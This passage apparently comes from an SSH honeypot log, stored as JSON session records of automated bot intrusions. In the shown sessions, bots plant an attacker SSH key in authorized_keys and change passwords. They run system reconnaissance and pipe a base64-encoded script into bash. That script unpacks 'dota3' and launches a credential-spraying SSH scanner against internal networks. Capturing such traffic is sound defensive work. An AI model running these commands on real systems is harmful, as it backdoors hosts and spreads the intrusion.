\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T19:03:48.314587+00:00","kind":"output","latency_ms":630,"data":""},{"seq":48,"at":"2026-08-23T19:03:55.918118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T19:03:55.921100+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"jimmy123","method":"password","accepted":true,"tier":"other"}]} {"id":"545cffd7-03e3-4536-b36a-0ee8088e6f97","name":"forlorn-foggy-cheetah","protocol":"ssh","channel_kind":"exec","src_ip":"103.216.145.2","src_port":49688,"username":"john","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":618,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T18:39:50.081206+00:00","ended_at":"2026-08-23T18:39:50.275426+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3384,"events":[{"seq":1,"at":"2026-08-23T18:39:08.526904+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T18:39:09.145062+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T18:39:15.880453+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T18:39:15.881131+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T18:39:16.500008+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nVkE7QessKpmZ\\nVkE7QessKpmZ\"|passwd|bash"},{"seq":6,"at":"2026-08-23T18:39:17.116314+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nVkE7QessKpmZ\\nVkE7QessKpmZ\\n\"|passwd"},{"seq":7,"at":"2026-08-23T18:39:17.737078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T18:39:17.737586+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T18:39:18.355078+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T18:39:18.857410+00:00","kind":"output","latency_ms":503,"data":"15888 15432 456 0 0 0"},{"seq":11,"at":"2026-08-23T18:39:19.478394+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T18:39:20.081759+00:00","kind":"output","latency_ms":602,"data":"-rwxr-xr-x 1 root root 142K May 27 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T18:39:20.698645+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T18:39:20.698953+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T18:39:21.317448+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T18:39:21.319079+00:00","kind":"output","latency_ms":null,"data":" 18:39:21 up 3 days, 15:29, 0 user, load average: 0.26, 0.18, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T18:39:21.935096+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T18:39:21.937454+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T18:39:22.554311+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T18:39:22.556075+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T18:39:23.174226+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T18:39:23.176075+00:00","kind":"output","latency_ms":null,"data":"top - 18:39:23 up 3 days, 15:29, 0 user, load average: 0.26, 0.18, 0.21\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T18:39:23.793364+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T18:39:23.795421+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T18:39:24.412707+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T18:39:24.414058+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T18:39:25.031763+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T18:39:25.032106+00:00","kind":"output","latency_ms":null,"data":"john"},{"seq":29,"at":"2026-08-23T18:39:25.650584+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T18:39:26.264178+00:00","kind":"output","latency_ms":612,"data":"Model name: AMD EPYC 7713 64-Core Processor\n"},{"seq":31,"at":"2026-08-23T18:39:26.880150+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T18:39:27.311923+00:00","kind":"output","latency_ms":431,"data":"24G"},{"seq":33,"at":"2026-08-23T18:39:29.303674+00:00","kind":"input","latency_ms":null,"data":"echo \"john 12345\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T18:39:29.921484+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T18:39:30.290125+00:00","kind":"output","latency_ms":366,"data":""},{"seq":36,"at":"2026-08-23T18:39:32.120381+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T18:39:32.768163+00:00","kind":"output","latency_ms":646,"data":"cache: hayloft\ntoken: 7c2f1b9e4a8d\nstatus: warm"},{"seq":38,"at":"2026-08-23T18:39:33.386650+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T18:39:33.920726+00:00","kind":"output","latency_ms":534,"data":"cache: hayloft\ntoken: 7c2f1b9e4a8d\nstatus: warm"},{"seq":40,"at":"2026-08-23T18:39:34.542552+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T18:39:35.165587+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T18:39:35.737120+00:00","kind":"output","latency_ms":577,"data":"cache: hayloft\ntoken: 7c2f1b9e4a8d\nstatus: warm"},{"seq":43,"at":"2026-08-23T18:39:36.354557+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T18:39:37.131202+00:00","kind":"output","latency_ms":774,"data":"cache: hayloft\ntoken: 7c2f1b9e4a8d\nstatus: warm"},{"seq":45,"at":"2026-08-23T18:39:37.750452+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T18:39:38.208967+00:00","kind":"output","latency_ms":457,"data":""},{"seq":47,"at":"2026-08-23T18:39:50.083476+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T18:39:50.083967+00:00","kind":"output","latency_ms":null,"data":"john"}],"credentials":[{"username":"john","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"992d97c7-77cd-4152-bd8f-bf9b52fc8828","name":"frosty-grumpy-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"202.145.0.61","src_port":51740,"username":"virt","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":722,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T18:39:00.639689+00:00","ended_at":"2026-08-23T18:39:00.867053+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3739,"events":[{"seq":1,"at":"2026-08-23T18:38:18.946747+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T18:38:19.667277+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T18:38:26.862238+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T18:38:26.862634+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T18:38:27.584229+00:00","kind":"input","latency_ms":null,"data":"echo -e \"virt\\njj447sWPQgp8\\njj447sWPQgp8\"|passwd|bash"},{"seq":6,"at":"2026-08-23T18:38:28.305393+00:00","kind":"input","latency_ms":null,"data":"echo \"virt\\njj447sWPQgp8\\njj447sWPQgp8\\n\"|passwd"},{"seq":7,"at":"2026-08-23T18:38:29.026121+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T18:38:29.026756+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T18:38:29.746587+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T18:38:30.323785+00:00","kind":"output","latency_ms":577,"data":"15888 2123 10345 0 3420 0"},{"seq":11,"at":"2026-08-23T18:38:31.047119+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T18:38:31.970443+00:00","kind":"output","latency_ms":924,"data":"-rwxr-xr-x 1 root root 151K Apr 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T18:38:32.691329+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T18:38:32.693064+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T18:38:33.413931+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T18:38:33.414571+00:00","kind":"output","latency_ms":null,"data":" 18:38:33 up 3 days, 15:28, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T18:38:34.133871+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T18:38:34.135125+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T18:38:34.857812+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T18:38:34.859060+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T18:38:35.582742+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T18:38:35.585304+00:00","kind":"output","latency_ms":null,"data":"top - 18:38:35 up 3 days, 15:28, 0 user, load average: 0.06, 0.05, 0.04\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T18:38:36.302070+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T18:38:36.302623+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T18:38:37.023730+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T18:38:37.024353+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T18:38:37.745080+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T18:38:37.745519+00:00","kind":"output","latency_ms":null,"data":"virt"},{"seq":29,"at":"2026-08-23T18:38:38.467728+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T18:38:39.505122+00:00","kind":"output","latency_ms":1037,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T18:38:40.227528+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T18:38:40.883556+00:00","kind":"output","latency_ms":655,"data":"25G"},{"seq":33,"at":"2026-08-23T18:38:43.129601+00:00","kind":"input","latency_ms":null,"data":"echo \"virt virt\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T18:38:43.854373+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T18:38:44.351143+00:00","kind":"output","latency_ms":499,"data":""},{"seq":36,"at":"2026-08-23T18:38:46.437423+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T18:38:46.920688+00:00","kind":"output","latency_ms":484,"data":"virt virt"},{"seq":38,"at":"2026-08-23T18:38:47.641565+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T18:38:48.036501+00:00","kind":"output","latency_ms":393,"data":"virt virt"},{"seq":40,"at":"2026-08-23T18:38:48.759938+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T18:38:49.478552+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T18:38:49.959170+00:00","kind":"output","latency_ms":478,"data":"virt virt"},{"seq":43,"at":"2026-08-23T18:38:50.685428+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T18:38:51.119146+00:00","kind":"output","latency_ms":437,"data":"1"},{"seq":45,"at":"2026-08-23T18:38:51.842078+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T18:38:52.509244+00:00","kind":"output","latency_ms":667,"data":""},{"seq":47,"at":"2026-08-23T18:39:00.641388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T18:39:00.642041+00:00","kind":"output","latency_ms":null,"data":"virt"}],"credentials":[{"username":"virt","password":"virt","method":"password","accepted":true,"tier":"other"}]} {"id":"44791e79-6a9a-48df-b16a-8a9d34c43098","name":"wandering-blunt-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"102.211.152.138","src_port":47036,"username":"adminweb","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T17:10:10.486640+00:00","ended_at":"2026-08-23T17:10:10.586345+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3592,"events":[{"seq":1,"at":"2026-08-23T17:09:42.151384+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T17:09:42.500089+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T17:09:47.524264+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T17:09:47.526201+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T17:09:47.872271+00:00","kind":"input","latency_ms":null,"data":"echo -e \"adminweb\\n8jB61yyYS0XU\\n8jB61yyYS0XU\"|passwd|bash"},{"seq":6,"at":"2026-08-23T17:09:48.217231+00:00","kind":"input","latency_ms":null,"data":"echo \"adminweb\\n8jB61yyYS0XU\\n8jB61yyYS0XU\\n\"|passwd"},{"seq":7,"at":"2026-08-23T17:09:48.562418+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T17:09:48.566516+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T17:09:48.914564+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T17:09:49.609091+00:00","kind":"output","latency_ms":700,"data":" total used free shared buff/cache available\nMem: 15888 3721 9321 87 2845 11645"},{"seq":11,"at":"2026-08-23T17:09:49.960286+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T17:09:50.562822+00:00","kind":"output","latency_ms":605,"data":"-rwxr-xr-x 1 root root 151K Apr 18 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T17:09:50.912410+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T17:09:50.915549+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T17:09:51.261115+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T17:09:51.264305+00:00","kind":"output","latency_ms":null,"data":" 17:09:51 up 3 days, 13:59, 0 user, load average: 0.17, 0.13, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T17:09:51.611088+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T17:09:51.612843+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T17:09:51.959076+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T17:09:51.971368+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T17:09:52.305467+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T17:09:52.308378+00:00","kind":"output","latency_ms":null,"data":"top - 17:09:52 up 3 days, 13:59, 0 user, load average: 0.17, 0.13, 0.11\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T17:09:52.658792+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T17:09:52.662068+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T17:09:53.006857+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T17:09:53.009066+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T17:09:53.358289+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T17:09:53.361068+00:00","kind":"output","latency_ms":null,"data":"adminweb"},{"seq":29,"at":"2026-08-23T17:09:53.711294+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T17:09:54.264296+00:00","kind":"output","latency_ms":554,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T17:09:54.818217+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T17:09:55.277354+00:00","kind":"output","latency_ms":461,"data":"24G"},{"seq":33,"at":"2026-08-23T17:09:56.564255+00:00","kind":"input","latency_ms":null,"data":"echo \"adminweb adminweb\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T17:09:56.913074+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T17:09:57.390616+00:00","kind":"output","latency_ms":478,"data":""},{"seq":36,"at":"2026-08-23T17:09:58.119235+00:00","kind":"input","latency_ms":null,"data":"cat 